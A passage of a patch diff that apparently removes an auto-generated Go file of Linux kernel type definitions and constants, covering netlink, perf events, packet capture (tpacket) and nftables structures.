-+ RTA_DPORT = 0x1d
-+ RTN_UNSPEC = 0x0
-+ RTN_UNICAST = 0x1
-+ RTN_LOCAL = 0x2
-+ RTN_BROADCAST = 0x3
-+ RTN_ANYCAST = 0x4
-+ RTN_MULTICAST = 0x5
-+ RTN_BLACKHOLE = 0x6
-+ RTN_UNREACHABLE = 0x7
-+ RTN_PROHIBIT = 0x8
-+ RTN_THROW = 0x9
-+ RTN_NAT = 0xa
-+ RTN_XRESOLVE = 0xb
-+ SizeofNlMsghdr = 0x10
-+ SizeofNlMsgerr = 0x14
-+ SizeofRtGenmsg = 0x1
-+ SizeofNlAttr = 0x4
-+ SizeofRtAttr = 0x4
-+ SizeofIfInfomsg = 0x10
-+ SizeofIfAddrmsg = 0x8
-+ SizeofIfaCacheinfo = 0x10
-+ SizeofRtMsg = 0xc
-+ SizeofRtNexthop = 0x8
-+ SizeofNdUseroptmsg = 0x10
-+ SizeofNdMsg = 0xc
-+)
-+
-+type NlMsghdr struct {
-+ Len uint32
-+ Type uint16
-+ Flags uint16
-+ Seq uint32
-+ Pid uint32
-+}
-+
-+type NlMsgerr struct {
-+ Error int32
-+ Msg NlMsghdr
-+}
-+
-+type RtGenmsg struct {
-+ Family uint8
-+}
-+
-+type NlAttr struct {
-+ Len uint16
-+ Type uint16
-+}
-+
-+type RtAttr struct {
-+ Len uint16
-+ Type uint16
-+}
-+
-+type IfInfomsg struct {
-+ Family uint8
-+ _ uint8
-+ Type uint16
-+ Index int32
-+ Flags uint32
-+ Change uint32
-+}
-+
-+type IfAddrmsg struct {
-+ Family uint8
-+ Prefixlen uint8
-+ Flags uint8
-+ Scope uint8
-+ Index uint32
-+}
-+
-+type IfaCacheinfo struct {
-+ Prefered uint32
-+ Valid uint32
-+ Cstamp uint32
-+ Tstamp uint32
-+}
-+
-+type RtMsg struct {
-+ Family uint8
-+ Dst_len uint8
-+ Src_len uint8
-+ Tos uint8
-+ Table uint8
-+ Protocol uint8
-+ Scope uint8
-+ Type uint8
-+ Flags uint32
-+}
-+
-+type RtNexthop struct {
-+ Len uint16
-+ Flags uint8
-+ Hops uint8
-+ Ifindex int32
-+}
-+
-+type NdUseroptmsg struct {
-+ Family uint8
-+ Pad1 uint8
-+ Opts_len uint16
-+ Ifindex int32
-+ Icmp_type uint8
-+ Icmp_code uint8
-+ Pad2 uint16
-+ Pad3 uint32
-+}
-+
-+type NdMsg struct {
-+ Family uint8
-+ Pad1 uint8
-+ Pad2 uint16
-+ Ifindex int32
-+ State uint16
-+ Flags uint8
-+ Type uint8
-+}
-+
-+const (
-+ SizeofSockFilter = 0x8
-+)
-+
-+type SockFilter struct {
-+ Code uint16
-+ Jt uint8
-+ Jf uint8
-+ K uint32
-+}
-+
-+type SockFprog struct {
-+ Len uint16
-+ Filter *SockFilter
-+}
-+
-+type InotifyEvent struct {
-+ Wd int32
-+ Mask uint32
-+ Cookie uint32
-+ Len uint32
-+}
-+
-+const SizeofInotifyEvent = 0x10
-+
-+type Utsname struct {
-+ Sysname [65]byte
-+ Nodename [65]byte
-+ Release [65]byte
-+ Version [65]byte
-+ Machine [65]byte
-+ Domainname [65]byte
-+}
-+
-+const (
-+ AT_EMPTY_PATH = 0x1000
-+ AT_FDCWD = -0x64
-+ AT_NO_AUTOMOUNT = 0x800
-+ AT_REMOVEDIR = 0x200
-+
-+ AT_STATX_SYNC_AS_STAT = 0x0
-+ AT_STATX_FORCE_SYNC = 0x2000
-+ AT_STATX_DONT_SYNC = 0x4000
-+
-+ AT_SYMLINK_FOLLOW = 0x400
-+ AT_SYMLINK_NOFOLLOW = 0x100
-+
-+ AT_EACCESS = 0x200
-+)
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLIN = 0x1
-+ POLLPRI = 0x2
-+ POLLOUT = 0x4
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLNVAL = 0x20
-+)
-+
-+type SignalfdSiginfo struct {
-+ Signo uint32
-+ Errno int32
-+ Code int32
-+ Pid uint32
-+ Uid uint32
-+ Fd int32
-+ Tid uint32
-+ Band uint32
-+ Overrun uint32
-+ Trapno uint32
-+ Status int32
-+ Int int32
-+ Ptr uint64
-+ Utime uint64
-+ Stime uint64
-+ Addr uint64
-+ Addr_lsb uint16
-+ _ uint16
-+ Syscall int32
-+ Call_addr uint64
-+ Arch uint32
-+ _ [28]uint8
-+}
-+
-+const PERF_IOC_FLAG_GROUP = 0x1
-+
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+const (
-+ TASKSTATS_CMD_UNSPEC = 0x0
-+ TASKSTATS_CMD_GET = 0x1
-+ TASKSTATS_CMD_NEW = 0x2
-+ TASKSTATS_TYPE_UNSPEC = 0x0
-+ TASKSTATS_TYPE_PID = 0x1
-+ TASKSTATS_TYPE_TGID = 0x2
-+ TASKSTATS_TYPE_STATS = 0x3
-+ TASKSTATS_TYPE_AGGR_PID = 0x4
-+ TASKSTATS_TYPE_AGGR_TGID = 0x5
-+ TASKSTATS_TYPE_NULL = 0x6
-+ TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-+ TASKSTATS_CMD_ATTR_PID = 0x1
-+ TASKSTATS_CMD_ATTR_TGID = 0x2
-+ TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-+ TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+)
-+
-+type CGroupStats struct {
-+ Sleeping uint64
-+ Running uint64
-+ Stopped uint64
-+ Uninterruptible uint64
-+ Io_wait uint64
-+}
-+
-+const (
-+ CGROUPSTATS_CMD_UNSPEC = 0x3
-+ CGROUPSTATS_CMD_GET = 0x4
-+ CGROUPSTATS_CMD_NEW = 0x5
-+ CGROUPSTATS_TYPE_UNSPEC = 0x0
-+ CGROUPSTATS_TYPE_CGROUP_STATS = 0x1
-+ CGROUPSTATS_CMD_ATTR_UNSPEC = 0x0
-+ CGROUPSTATS_CMD_ATTR_FD = 0x1
-+)
-+
-+type Genlmsghdr struct {
-+ Cmd uint8
-+ Version uint8
-+ Reserved uint16
-+}
-+
-+const (
-+ CTRL_CMD_UNSPEC = 0x0
-+ CTRL_CMD_NEWFAMILY = 0x1
-+ CTRL_CMD_DELFAMILY = 0x2
-+ CTRL_CMD_GETFAMILY = 0x3
-+ CTRL_CMD_NEWOPS = 0x4
-+ CTRL_CMD_DELOPS = 0x5
-+ CTRL_CMD_GETOPS = 0x6
-+ CTRL_CMD_NEWMCAST_GRP = 0x7
-+ CTRL_CMD_DELMCAST_GRP = 0x8
-+ CTRL_CMD_GETMCAST_GRP = 0x9
-+ CTRL_ATTR_UNSPEC = 0x0
-+ CTRL_ATTR_FAMILY_ID = 0x1
-+ CTRL_ATTR_FAMILY_NAME = 0x2
-+ CTRL_ATTR_VERSION = 0x3
-+ CTRL_ATTR_HDRSIZE = 0x4
-+ CTRL_ATTR_MAXATTR = 0x5
-+ CTRL_ATTR_OPS = 0x6
-+ CTRL_ATTR_MCAST_GROUPS = 0x7
-+ CTRL_ATTR_OP_UNSPEC = 0x0
-+ CTRL_ATTR_OP_ID = 0x1
-+ CTRL_ATTR_OP_FLAGS = 0x2
-+ CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-+ CTRL_ATTR_MCAST_GRP_NAME = 0x1
-+ CTRL_ATTR_MCAST_GRP_ID = 0x2
-+)
-+
-+const (
-+ _CPU_SETSIZE = 0x400
-+)
-+
-+const (
-+ BDADDR_BREDR = 0x0
-+ BDADDR_LE_PUBLIC = 0x1
-+ BDADDR_LE_RANDOM = 0x2
-+)
-+
-+type PerfEventAttr struct {
-+ Type uint32
-+ Size uint32
-+ Config uint64
-+ Sample uint64
-+ Sample_type uint64
-+ Read_format uint64
-+ Bits uint64
-+ Wakeup uint32
-+ Bp_type uint32
-+ Ext1 uint64
-+ Ext2 uint64
-+ Branch_sample_type uint64
-+ Sample_regs_user uint64
-+ Sample_stack_user uint32
-+ Clockid int32
-+ Sample_regs_intr uint64
-+ Aux_watermark uint32
-+ Sample_max_stack uint16
-+ _ uint16
-+}
-+
-+type PerfEventMmapPage struct {
-+ Version uint32
-+ Compat_version uint32
-+ Lock uint32
-+ Index uint32
-+ Offset int64
-+ Time_enabled uint64
-+ Time_running uint64
-+ Capabilities uint64
-+ Pmc_width uint16
-+ Time_shift uint16
-+ Time_mult uint32
-+ Time_offset uint64
-+ Time_zero uint64
-+ Size uint32
-+ _ [948]uint8
-+ Data_head uint64
-+ Data_tail uint64
-+ Data_offset uint64
-+ Data_size uint64
-+ Aux_head uint64
-+ Aux_tail uint64
-+ Aux_offset uint64
-+ Aux_size uint64
-+}
-+
-+const (
-+ PerfBitDisabled uint64 = CBitFieldMaskBit0
-+ PerfBitInherit = CBitFieldMaskBit1
-+ PerfBitPinned = CBitFieldMaskBit2
-+ PerfBitExclusive = CBitFieldMaskBit3
-+ PerfBitExcludeUser = CBitFieldMaskBit4
-+ PerfBitExcludeKernel = CBitFieldMaskBit5
-+ PerfBitExcludeHv = CBitFieldMaskBit6
-+ PerfBitExcludeIdle = CBitFieldMaskBit7
-+ PerfBitMmap = CBitFieldMaskBit8
-+ PerfBitComm = CBitFieldMaskBit9
-+ PerfBitFreq = CBitFieldMaskBit10
-+ PerfBitInheritStat = CBitFieldMaskBit11
-+ PerfBitEnableOnExec = CBitFieldMaskBit12
-+ PerfBitTask = CBitFieldMaskBit13
-+ PerfBitWatermark = CBitFieldMaskBit14
-+ PerfBitPreciseIPBit1 = CBitFieldMaskBit15
-+ PerfBitPreciseIPBit2 = CBitFieldMaskBit16
-+ PerfBitMmapData = CBitFieldMaskBit17
-+ PerfBitSampleIDAll = CBitFieldMaskBit18
-+ PerfBitExcludeHost = CBitFieldMaskBit19
-+ PerfBitExcludeGuest = CBitFieldMaskBit20
-+ PerfBitExcludeCallchainKernel = CBitFieldMaskBit21
-+ PerfBitExcludeCallchainUser = CBitFieldMaskBit22
-+ PerfBitMmap2 = CBitFieldMaskBit23
-+ PerfBitCommExec = CBitFieldMaskBit24
-+ PerfBitUseClockID = CBitFieldMaskBit25
-+ PerfBitContextSwitch = CBitFieldMaskBit26
-+)
-+
-+const (
-+ PERF_TYPE_HARDWARE = 0x0
-+ PERF_TYPE_SOFTWARE = 0x1
-+ PERF_TYPE_TRACEPOINT = 0x2
-+ PERF_TYPE_HW_CACHE = 0x3
-+ PERF_TYPE_RAW = 0x4
-+ PERF_TYPE_BREAKPOINT = 0x5
-+
-+ PERF_COUNT_HW_CPU_CYCLES = 0x0
-+ PERF_COUNT_HW_INSTRUCTIONS = 0x1
-+ PERF_COUNT_HW_CACHE_REFERENCES = 0x2
-+ PERF_COUNT_HW_CACHE_MISSES = 0x3
-+ PERF_COUNT_HW_BRANCH_INSTRUCTIONS = 0x4
-+ PERF_COUNT_HW_BRANCH_MISSES = 0x5
-+ PERF_COUNT_HW_BUS_CYCLES = 0x6
-+ PERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 0x7
-+ PERF_COUNT_HW_STALLED_CYCLES_BACKEND = 0x8
-+ PERF_COUNT_HW_REF_CPU_CYCLES = 0x9
-+
-+ PERF_COUNT_HW_CACHE_L1D = 0x0
-+ PERF_COUNT_HW_CACHE_L1I = 0x1
-+ PERF_COUNT_HW_CACHE_LL = 0x2
-+ PERF_COUNT_HW_CACHE_DTLB = 0x3
-+ PERF_COUNT_HW_CACHE_ITLB = 0x4
-+ PERF_COUNT_HW_CACHE_BPU = 0x5
-+ PERF_COUNT_HW_CACHE_NODE = 0x6
-+
-+ PERF_COUNT_HW_CACHE_OP_READ = 0x0
-+ PERF_COUNT_HW_CACHE_OP_WRITE = 0x1
-+ PERF_COUNT_HW_CACHE_OP_PREFETCH = 0x2
-+
-+ PERF_COUNT_HW_CACHE_RESULT_ACCESS = 0x0
-+ PERF_COUNT_HW_CACHE_RESULT_MISS = 0x1
-+
-+ PERF_COUNT_SW_CPU_CLOCK = 0x0
-+ PERF_COUNT_SW_TASK_CLOCK = 0x1
-+ PERF_COUNT_SW_PAGE_FAULTS = 0x2
-+ PERF_COUNT_SW_CONTEXT_SWITCHES = 0x3
-+ PERF_COUNT_SW_CPU_MIGRATIONS = 0x4
-+ PERF_COUNT_SW_PAGE_FAULTS_MIN = 0x5
-+ PERF_COUNT_SW_PAGE_FAULTS_MAJ = 0x6
-+ PERF_COUNT_SW_ALIGNMENT_FAULTS = 0x7
-+ PERF_COUNT_SW_EMULATION_FAULTS = 0x8
-+ PERF_COUNT_SW_DUMMY = 0x9
-+ PERF_COUNT_SW_BPF_OUTPUT = 0xa
-+
-+ PERF_SAMPLE_IP = 0x1
-+ PERF_SAMPLE_TID = 0x2
-+ PERF_SAMPLE_TIME = 0x4
-+ PERF_SAMPLE_ADDR = 0x8
-+ PERF_SAMPLE_READ = 0x10
-+ PERF_SAMPLE_CALLCHAIN = 0x20
-+ PERF_SAMPLE_ID = 0x40
-+ PERF_SAMPLE_CPU = 0x80
-+ PERF_SAMPLE_PERIOD = 0x100
-+ PERF_SAMPLE_STREAM_ID = 0x200
-+ PERF_SAMPLE_RAW = 0x400
-+ PERF_SAMPLE_BRANCH_STACK = 0x800
-+
-+ PERF_SAMPLE_BRANCH_USER = 0x1
-+ PERF_SAMPLE_BRANCH_KERNEL = 0x2
-+ PERF_SAMPLE_BRANCH_HV = 0x4
-+ PERF_SAMPLE_BRANCH_ANY = 0x8
-+ PERF_SAMPLE_BRANCH_ANY_CALL = 0x10
-+ PERF_SAMPLE_BRANCH_ANY_RETURN = 0x20
-+ PERF_SAMPLE_BRANCH_IND_CALL = 0x40
-+ PERF_SAMPLE_BRANCH_ABORT_TX = 0x80
-+ PERF_SAMPLE_BRANCH_IN_TX = 0x100
-+ PERF_SAMPLE_BRANCH_NO_TX = 0x200
-+ PERF_SAMPLE_BRANCH_COND = 0x400
-+ PERF_SAMPLE_BRANCH_CALL_STACK = 0x800
-+ PERF_SAMPLE_BRANCH_IND_JUMP = 0x1000
-+ PERF_SAMPLE_BRANCH_CALL = 0x2000
-+ PERF_SAMPLE_BRANCH_NO_FLAGS = 0x4000
-+ PERF_SAMPLE_BRANCH_NO_CYCLES = 0x8000
-+ PERF_SAMPLE_BRANCH_TYPE_SAVE = 0x10000
-+
-+ PERF_FORMAT_TOTAL_TIME_ENABLED = 0x1
-+ PERF_FORMAT_TOTAL_TIME_RUNNING = 0x2
-+ PERF_FORMAT_ID = 0x4
-+ PERF_FORMAT_GROUP = 0x8
-+
-+ PERF_RECORD_MMAP = 0x1
-+ PERF_RECORD_LOST = 0x2
-+ PERF_RECORD_COMM = 0x3
-+ PERF_RECORD_EXIT = 0x4
-+ PERF_RECORD_THROTTLE = 0x5
-+ PERF_RECORD_UNTHROTTLE = 0x6
-+ PERF_RECORD_FORK = 0x7
-+ PERF_RECORD_READ = 0x8
-+ PERF_RECORD_SAMPLE = 0x9
-+ PERF_RECORD_MMAP2 = 0xa
-+ PERF_RECORD_AUX = 0xb
-+ PERF_RECORD_ITRACE_START = 0xc
-+ PERF_RECORD_LOST_SAMPLES = 0xd
-+ PERF_RECORD_SWITCH = 0xe
-+ PERF_RECORD_SWITCH_CPU_WIDE = 0xf
-+ PERF_RECORD_NAMESPACES = 0x10
-+
-+ PERF_CONTEXT_HV = -0x20
-+ PERF_CONTEXT_KERNEL = -0x80
-+ PERF_CONTEXT_USER = -0x200
-+
-+ PERF_CONTEXT_GUEST = -0x800
-+ PERF_CONTEXT_GUEST_KERNEL = -0x880
-+ PERF_CONTEXT_GUEST_USER = -0xa00
-+
-+ PERF_FLAG_FD_NO_GROUP = 0x1
-+ PERF_FLAG_FD_OUTPUT = 0x2
-+ PERF_FLAG_PID_CGROUP = 0x4
-+ PERF_FLAG_FD_CLOEXEC = 0x8
-+)
-+
-+type TCPMD5Sig struct {
-+ Addr SockaddrStorage
-+ Flags uint8
-+ Prefixlen uint8
-+ Keylen uint16
-+ _ uint32
-+ Key [80]uint8
-+}
-+
-+type HDDriveCmdHdr struct {
-+ Command uint8
-+ Number uint8
-+ Feature uint8
-+ Count uint8
-+}
-+
-+type HDDriveID struct {
-+ Config uint16
-+ Cyls uint16
-+ Reserved2 uint16
-+ Heads uint16
-+ Track_bytes uint16
-+ Sector_bytes uint16
-+ Sectors uint16
-+ Vendor0 uint16
-+ Vendor1 uint16
-+ Vendor2 uint16
-+ Serial_no [20]uint8
-+ Buf_type uint16
-+ Buf_size uint16
-+ Ecc_bytes uint16
-+ Fw_rev [8]uint8
-+ Model [40]uint8
-+ Max_multsect uint8
-+ Vendor3 uint8
-+ Dword_io uint16
-+ Vendor4 uint8
-+ Capability uint8
-+ Reserved50 uint16
-+ Vendor5 uint8
-+ TPIO uint8
-+ Vendor6 uint8
-+ TDMA uint8
-+ Field_valid uint16
-+ Cur_cyls uint16
-+ Cur_heads uint16
-+ Cur_sectors uint16
-+ Cur_capacity0 uint16
-+ Cur_capacity1 uint16
-+ Multsect uint8
-+ Multsect_valid uint8
-+ Lba_capacity uint32
-+ Dma_1word uint16
-+ Dma_mword uint16
-+ Eide_pio_modes uint16
-+ Eide_dma_min uint16
-+ Eide_dma_time uint16
-+ Eide_pio uint16
-+ Eide_pio_iordy uint16
-+ Words69_70 [2]uint16
-+ Words71_74 [4]uint16
-+ Queue_depth uint16
-+ Words76_79 [4]uint16
-+ Major_rev_num uint16
-+ Minor_rev_num uint16
-+ Command_set_1 uint16
-+ Command_set_2 uint16
-+ Cfsse uint16
-+ Cfs_enable_1 uint16
-+ Cfs_enable_2 uint16
-+ Csf_default uint16
-+ Dma_ultra uint16
-+ Trseuc uint16
-+ TrsEuc uint16
-+ CurAPMvalues uint16
-+ Mprc uint16
-+ Hw_config uint16
-+ Acoustic uint16
-+ Msrqs uint16
-+ Sxfert uint16
-+ Sal uint16
-+ Spg uint32
-+ Lba_capacity_2 uint64
-+ Words104_125 [22]uint16
-+ Last_lun uint16
-+ Word127 uint16
-+ Dlf uint16
-+ Csfo uint16
-+ Words130_155 [26]uint16
-+ Word156 uint16
-+ Words157_159 [3]uint16
-+ Cfa_power uint16
-+ Words161_175 [15]uint16
-+ Words176_205 [30]uint16
-+ Words206_254 [49]uint16
-+ Integrity_word uint16
-+}
-+
-+const (
-+ ST_MANDLOCK = 0x40
-+ ST_NOATIME = 0x400
-+ ST_NODEV = 0x4
-+ ST_NODIRATIME = 0x800
-+ ST_NOEXEC = 0x8
-+ ST_NOSUID = 0x2
-+ ST_RDONLY = 0x1
-+ ST_RELATIME = 0x1000
-+ ST_SYNCHRONOUS = 0x10
-+)
-+
-+type Tpacket2Hdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Nsec uint32
-+ Vlan_tci uint16
-+ Vlan_tpid uint16
-+ _ [4]uint8
-+}
-+
-+type Tpacket3Hdr struct {
-+ Next_offset uint32
-+ Sec uint32
-+ Nsec uint32
-+ Snaplen uint32
-+ Len uint32
-+ Status uint32
-+ Mac uint16
-+ Net uint16
-+ Hv1 TpacketHdrVariant1
-+ _ [8]uint8
-+}
-+
-+type TpacketHdrVariant1 struct {
-+ Rxhash uint32
-+ Vlan_tci uint32
-+ Vlan_tpid uint16
-+ _ uint16
-+}
-+
-+type TpacketBlockDesc struct {
-+ Version uint32
-+ To_priv uint32
-+ Hdr [40]byte
-+}
-+
-+type TpacketBDTS struct {
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+type TpacketHdrV1 struct {
-+ Block_status uint32
-+ Num_pkts uint32
-+ Offset_to_first_pkt uint32
-+ Blk_len uint32
-+ Seq_num uint64
-+ Ts_first_pkt TpacketBDTS
-+ Ts_last_pkt TpacketBDTS
-+}
-+
-+type TpacketReq struct {
-+ Block_size uint32
-+ Block_nr uint32
-+ Frame_size uint32
-+ Frame_nr uint32
-+}
-+
-+type TpacketReq3 struct {
-+ Block_size uint32
-+ Block_nr uint32
-+ Frame_size uint32
-+ Frame_nr uint32
-+ Retire_blk_tov uint32
-+ Sizeof_priv uint32
-+ Feature_req_word uint32
-+}
-+
-+type TpacketStats struct {
-+ Packets uint32
-+ Drops uint32
-+}
-+
-+type TpacketStatsV3 struct {
-+ Packets uint32
-+ Drops uint32
-+ Freeze_q_cnt uint32
-+}
-+
-+type TpacketAuxdata struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Vlan_tci uint16
-+ Vlan_tpid uint16
-+}
-+
-+const (
-+ TPACKET_V1 = 0x0
-+ TPACKET_V2 = 0x1
-+ TPACKET_V3 = 0x2
-+)
-+
-+const (
-+ SizeofTpacket2Hdr = 0x20
-+ SizeofTpacket3Hdr = 0x30
-+
-+ SizeofTpacketStats = 0x8
-+ SizeofTpacketStatsV3 = 0xc
-+)
-+
-+const (
-+ NF_INET_PRE_ROUTING = 0x0
-+ NF_INET_LOCAL_IN = 0x1
-+ NF_INET_FORWARD = 0x2
-+ NF_INET_LOCAL_OUT = 0x3
-+ NF_INET_POST_ROUTING = 0x4
-+ NF_INET_NUMHOOKS = 0x5
-+)
-+
-+const (
-+ NF_NETDEV_INGRESS = 0x0
-+ NF_NETDEV_NUMHOOKS = 0x1
-+)
-+
-+const (
-+ NFPROTO_UNSPEC = 0x0
-+ NFPROTO_INET = 0x1
-+ NFPROTO_IPV4 = 0x2
-+ NFPROTO_ARP = 0x3
-+ NFPROTO_NETDEV = 0x5
-+ NFPROTO_BRIDGE = 0x7
-+ NFPROTO_IPV6 = 0xa
-+ NFPROTO_DECNET = 0xc
-+ NFPROTO_NUMPROTO = 0xd
-+)
-+
-+type Nfgenmsg struct {
-+ Nfgen_family uint8
-+ Version uint8
-+ Res_id uint16
-+}
-+
-+const (
-+ NFNL_BATCH_UNSPEC = 0x0
-+ NFNL_BATCH_GENID = 0x1
-+)
-+
-+const (
-+ NFT_REG_VERDICT = 0x0
-+ NFT_REG_1 = 0x1
-+ NFT_REG_2 = 0x2
-+ NFT_REG_3 = 0x3
-+ NFT_REG_4 = 0x4
-+ NFT_REG32_00 = 0x8
-+ NFT_REG32_01 = 0x9
-+ NFT_REG32_02 = 0xa
-+ NFT_REG32_03 = 0xb
-+ NFT_REG32_04 = 0xc
-+ NFT_REG32_05 = 0xd
-+ NFT_REG32_06 = 0xe
-+ NFT_REG32_07 = 0xf
-+ NFT_REG32_08 = 0x10
-+ NFT_REG32_09 = 0x11
-+ NFT_REG32_10 = 0x12
-+ NFT_REG32_11 = 0x13
-+ NFT_REG32_12 = 0x14
-+ NFT_REG32_13 = 0x15
-+ NFT_REG32_14 = 0x16
-+ NFT_REG32_15 = 0x17
-+ NFT_CONTINUE = -0x1
-+ NFT_BREAK = -0x2
-+ NFT_JUMP = -0x3
-+ NFT_GOTO = -0x4
-+ NFT_RETURN = -0x5
-+ NFT_MSG_NEWTABLE = 0x0
-+ NFT_MSG_GETTABLE = 0x1
-+ NFT_MSG_DELTABLE = 0x2
-+ NFT_MSG_NEWCHAIN = 0x3
-+ NFT_MSG_GETCHAIN = 0x4
-+ NFT_MSG_DELCHAIN = 0x5
-+ NFT_MSG_NEWRULE = 0x6
-+ NFT_MSG_GETRULE = 0x7
-+ NFT_MSG_DELRULE = 0x8
-+ NFT_MSG_NEWSET = 0x9
-+ NFT_MSG_GETSET = 0xa
-+ NFT_MSG_DELSET = 0xb
-+ NFT_MSG_NEWSETELEM = 0xc
-+ NFT_MSG_GETSETELEM = 0xd
-+ NFT_MSG_DELSETELEM = 0xe
-+ NFT_MSG_NEWGEN = 0xf
-+ NFT_MSG_GETGEN = 0x10
-+ NFT_MSG_TRACE = 0x11
-+ NFT_MSG_NEWOBJ = 0x12
-+ NFT_MSG_GETOBJ = 0x13
-+ NFT_MSG_DELOBJ = 0x14
-+ NFT_MSG_GETOBJ_RESET = 0x15
-+ NFT_MSG_MAX = 0x19
-+ NFTA_LIST_UNPEC = 0x0
-+ NFTA_LIST_ELEM = 0x1
-+ NFTA_HOOK_UNSPEC = 0x0
-+ NFTA_HOOK_HOOKNUM = 0x1
-+ NFTA_HOOK_PRIORITY = 0x2
-+ NFTA_HOOK_DEV = 0x3
-+ NFT_TABLE_F_DORMANT = 0x1
-+ NFTA_TABLE_UNSPEC = 0x0
-+ NFTA_TABLE_NAME = 0x1
-+ NFTA_TABLE_FLAGS = 0x2
-+ NFTA_TABLE_USE = 0x3
-+ NFTA_CHAIN_UNSPEC = 0x0
-+ NFTA_CHAIN_TABLE = 0x1
-+ NFTA_CHAIN_HANDLE = 0x2
-+ NFTA_CHAIN_NAME = 0x3
-+ NFTA_CHAIN_HOOK = 0x4
-+ NFTA_CHAIN_POLICY = 0x5
-+ NFTA_CHAIN_USE = 0x6
-+ NFTA_CHAIN_TYPE = 0x7
-+ NFTA_CHAIN_COUNTERS = 0x8
-+ NFTA_CHAIN_PAD = 0x9
-+ NFTA_RULE_UNSPEC = 0x0
-+ NFTA_RULE_TABLE = 0x1
-+ NFTA_RULE_CHAIN = 0x2
-+ NFTA_RULE_HANDLE = 0x3
-+ NFTA_RULE_EXPRESSIONS = 0x4
-+ NFTA_RULE_COMPAT = 0x5
-+ NFTA_RULE_POSITION = 0x6
-+ NFTA_RULE_USERDATA = 0x7
-+ NFTA_RULE_PAD = 0x8
-+ NFTA_RULE_ID = 0x9
-+ NFT_RULE_COMPAT_F_INV = 0x2
-+ NFT_RULE_COMPAT_F_MASK = 0x2
-+ NFTA_RULE_COMPAT_UNSPEC = 0x0
-+ NFTA_RULE_COMPAT_PROTO = 0x1
-+ NFTA_RULE_COMPAT_FLAGS = 0x2
-+ NFT_SET_ANONYMOUS = 0x1
-+ NFT_SET_CONSTANT = 0x2
-+ NFT_SET_INTERVAL = 0x4
-+ NFT_SET_MAP = 0x8
-+ NFT_SET_TIMEOUT = 0x10
-+ NFT_SET_EVAL = 0x20
-+ NFT_SET_OBJECT = 0x40
-+ NFT_SET_POL_PERFORMANCE = 0x0
-+ NFT_SET_POL_MEMORY = 0x1
-+ NFTA_SET_DESC_UNSPEC = 0x0
-+ NFTA_SET_DESC_SIZE = 0x1
-+ NFTA_SET_UNSPEC = 0x0
-+ NFTA_SET_TABLE = 0x1
-+ NFTA_SET_NAME = 0x2
-+ NFTA_SET_FLAGS = 0x3
-+ NFTA_SET_KEY_TYPE = 0x4
-+ NFTA_SET_KEY_LEN = 0x5
-+ NFTA_SET_DATA_TYPE = 0x6
-+ NFTA_SET_DATA_LEN = 0x7
-+ NFTA_SET_POLICY = 0x8
-+ NFTA_SET_DESC = 0x9
-+ NFTA_SET_ID = 0xa
-+ NFTA_SET_TIMEOUT = 0xb
-+ NFTA_SET_GC_INTERVAL = 0xc
-+ NFTA_SET_USERDATA = 0xd
-+ NFTA_SET_PAD = 0xe
-+ NFTA_SET_OBJ_TYPE = 0xf
-+ NFT_SET_ELEM_INTERVAL_END = 0x1
-+ NFTA_SET_ELEM_UNSPEC = 0x0
-+ NFTA_SET_ELEM_KEY = 0x1
-+ NFTA_SET_ELEM_DATA = 0x2
-+ NFTA_SET_ELEM_FLAGS = 0x3
-+ NFTA_SET_ELEM_TIMEOUT = 0x4
-+ NFTA_SET_ELEM_EXPIRATION = 0x5
-+ NFTA_SET_ELEM_USERDATA = 0x6
-+ NFTA_SET_ELEM_EXPR = 0x7
-+ NFTA_SET_ELEM_PAD = 0x8
-+ NFTA_SET_ELEM_OBJREF = 0x9
-+ NFTA_SET_ELEM_LIST_UNSPEC = 0x0
-+ NFTA_SET_ELEM_LIST_TABLE = 0x1
-+ NFTA_SET_ELEM_LIST_SET = 0x2
-+ NFTA_SET_ELEM_LIST_ELEMENTS = 0x3
-+ NFTA_SET_ELEM_LIST_SET_ID = 0x4
-+ NFT_DATA_VALUE = 0x0
-+ NFT_DATA_VERDICT = 0xffffff00
-+ NFTA_DATA_UNSPEC = 0x0
-+ NFTA_DATA_VALUE = 0x1
-+ NFTA_DATA_VERDICT = 0x2
-+ NFTA_VERDICT_UNSPEC = 0x0
-+ NFTA_VERDICT_CODE = 0x1
-+ NFTA_VERDICT_CHAIN = 0x2
-+ NFTA_EXPR_UNSPEC = 0x0
-+ NFTA_EXPR_NAME = 0x1
-+ NFTA_EXPR_DATA = 0x2
-+ NFTA_IMMEDIATE_UNSPEC = 0x0
-+ NFTA_IMMEDIATE_DREG = 0x1
-+ NFTA_IMMEDIATE_DATA = 0x2
-+ NFTA_BITWISE_UNSPEC = 0x0
-+ NFTA_BITWISE_SREG = 0x1
-+ NFTA_BITWISE_DREG = 0x2
-+ NFTA_BITWISE_LEN = 0x3
-+ NFTA_BITWISE_MASK = 0x4
-+ NFTA_BITWISE_XOR = 0x5
-+ NFT_BYTEORDER_NTOH = 0x0
-+ NFT_BYTEORDER_HTON = 0x1
-+ NFTA_BYTEORDER_UNSPEC = 0x0
-+ NFTA_BYTEORDER_SREG = 0x1
-+ NFTA_BYTEORDER_DREG = 0x2
-+ NFTA_BYTEORDER_OP = 0x3
-+ NFTA_BYTEORDER_LEN = 0x4
-+ NFTA_BYTEORDER_SIZE = 0x5
-+ NFT_CMP_EQ = 0x0
-+ NFT_CMP_NEQ = 0x1
-+ NFT_CMP_LT = 0x2
-+ NFT_CMP_LTE = 0x3
-+ NFT_CMP_GT = 0x4
-+ NFT_CMP_GTE = 0x5
-+ NFTA_CMP_UNSPEC = 0x0
-+ NFTA_CMP_SREG = 0x1
-+ NFTA_CMP_OP = 0x2
-+ NFTA_CMP_DATA = 0x3
-+ NFT_RANGE_EQ = 0x0
-+ NFT_RANGE_NEQ = 0x1
-+ NFTA_RANGE_UNSPEC = 0x0
-+ NFTA_RANGE_SREG = 0x1
